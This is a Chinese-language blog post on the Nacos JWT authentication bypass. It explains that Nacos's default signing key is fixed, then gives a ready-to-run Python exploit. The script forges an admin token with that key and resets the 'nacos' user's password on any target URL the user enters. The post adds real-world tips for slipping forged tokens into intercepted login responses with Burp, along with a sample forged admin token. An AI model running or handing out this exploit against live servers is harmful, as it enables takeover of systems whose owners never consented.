侧边栏壁纸
博主头像
Lou1s

想上梁山。

  • 累计撰写 9 篇文章
  • 累计创建 16 个标签
  • 累计收到 5 条评论

Nacos 身份认证绕过漏洞

Lou1s
2023-03-16 / 2 评论 / 5 点赞 / 4,653 阅读 / 2,305 字
温馨提示:
本文最后更新于 2023-03-16,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

#Nacos 身份认证绕过漏洞
影响范围:
0.1.0 < Nacos ≤ 2.2.0
漏洞原理:

public String createToken(String userName) {
        
        Date validity = new Date(
                System.currentTimeMillis() + TimeUnit.SECONDS.toMillis(this.getTokenValidityInSeconds()));
        
        Claims claims = Jwts.claims().setSubject(userName);
        return Jwts.builder().setClaims(claims).setExpiration(validity).signWith(secretKey, SignatureAlgorithm.HS256)
                .compact();
    }

这部分代码就是nacos生成token的源码了(源代码文件路径)

xxx\nacos\plugin-default-impl\src\main\java\com\alibaba\nacos\plugin\auth\impl\JwtTokenManager.java

由于默认配置的secretkey是固定的,因此我们只需要知道用户名就可以伪造token绕过身份认证。具体的JWT认证原理什么的,比较简单就不说了。
接下来我将给出漏洞利用代码。

import jwt
import datetime
import base64
import requests


class NacosJwtBypass():

    def CreatToken(username):
        key = b'SecretKey01234567890123456789012345678901234567890123456789012345678'
        finalkey = base64.decodebytes(key)
        nowtime = datetime.datetime.now()
        timestamp = str(datetime.datetime.timestamp(nowtime)).split('.')[0]
        # print(finalkey)
        header1 = {
            "alg": "HS256"
        }
        payload = {
            "sub": username,
            "exp": timestamp
        }


        jwt.api_jws.PyJWS.header_typ = False
        token = jwt.encode(payload=payload,key=finalkey,headers=header1)
        # print(token)
        return token
    def CreateUser(token,url):
        url = url+"/nacos/v1/auth/users?accessToken="+token
        header = {
            "Accept": "application/json, text/plain, */*",
            "accessToken": token,
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36",
            "Content-type": "application/x-www-form-urlencoded",
            "Connection": "close"
        }

        payload = "username=nacos&newPassword=test@123456789"
        req = requests.put(url,data=payload,headers=header)
        # print(req.text)
        if req.status_code == 400:
            print(req.text)
        if req.status_code == 200:
            print('Hack success')

        


if  __name__ == '__main__':
    targeturl = input("请输入被攻击网址,eg:http://127.0.0.1:8080.\n")
    token = NacosJwtBypass.CreatToken("nacos")
    NacosJwtBypass.CreateUser(token,targeturl)

当然实战中的利用不想改人家密码就可以尝试用burp截取登录的返回包,随便输入一个错的密码(用户名要正确),
将上面生成的token替换(按照图示中红框圈起来的地方对应替换就行了):

{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODk2NDU5MX0.MkbPI4OmoWhPHT94dPIgk5RUdTohHDnPEAJRWkBUsA8","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}

image-1678950208090
image-1678950307881
image-1678950482045

5

评论区